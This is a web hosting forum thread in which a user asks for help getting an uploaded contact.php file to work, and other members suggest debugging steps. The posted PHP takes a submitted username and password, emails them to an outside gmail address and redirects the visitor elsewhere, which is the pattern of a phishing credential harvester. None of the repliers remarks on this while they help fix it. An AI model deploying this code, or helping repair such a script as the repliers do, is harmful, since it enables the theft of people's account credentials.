FRIHOSTFORUMSSEARCHFAQTOSBLOGSDIRECTORY
You are invited to Log in or Register a Frihost Account!

Uploading a .php file! NEED HELP thanks

 


shisamandisa
I am using the frihost.com hosting and i go to file manager, then when i upload my .php, everything is fine... i click on it, and it doesnt work at all... here is the code and the link:

Code:

<?php
@extract($_POST);
$username=$_POST['username'];
$password=$_POST['password'];
mail('email@gmail.com', $username, $password, "From: $username");
header("Location: anysite.com");
?>


The link: http://www.shisamandisa.frih.net:2222/CMD_FILE_MANAGER/domains/shisamandisa.frih.net/public_html/contact.php

Any help would be appreciated
benjad
Ok, let's try a few things here...


1. Why are you using an @ symbol in front of the extract statement. Googled the hell out of @extract, and couldn't find any reference to it.

2. extract() will create $username and $password if they were in the post, so shouldn't need $usernam= and $ password= . In fact, if extract is getting the information and clearing $_post, this step could be setting them equal to "".


Comment out the mail, and header, and just echo the $username and $password first.
Traveller
Don't forget: PHP is just a programming language, and does nothing that would actually display on a web page unless you tell it to do so, and there still must be some HTML. The code you listed sends a header, but there is no BODY (i.e. nothing to display), unless there is more to that .php file than you're showing us or, perhaps, it is included within some other PHP file that produces some output.
Bondings
You need to access it on http://shisamandisa.frih.net/contact.php and not on the url of the file manager, that one is just to view the files.

About the syntax, I'm not sure if it would work.

To try out if php works, make a something.php file with contents <? echo "test"; ?> and see what it outputs.
Related topics

PHP Read File Help needed.
php script help!
User Viewing A PHP File
Referencing a php file
PHP and MySQL noob need help please!

[PHP doubt]Knowing the directory location of PHP file
is there any way to trigger a .php file without refreshing?
PHP beginner help!!!
PHP File Read, and File Check?
Limiting php file functions with .htaccess

Cron jobs - running a php file
send variable from php tp php file
Remote php file access and reading
Is there any restrict MB of uploading database file?
including javascript in php file
Reply to topic    Frihost Forum Index -> Support and Web Hosting -> Web Hosting Support

FRIHOST HOME | FAQ | TOS | ABOUT US | CONTACT US | SITE MAP
© 2005-2007 Frihost, forums powered by phpBB.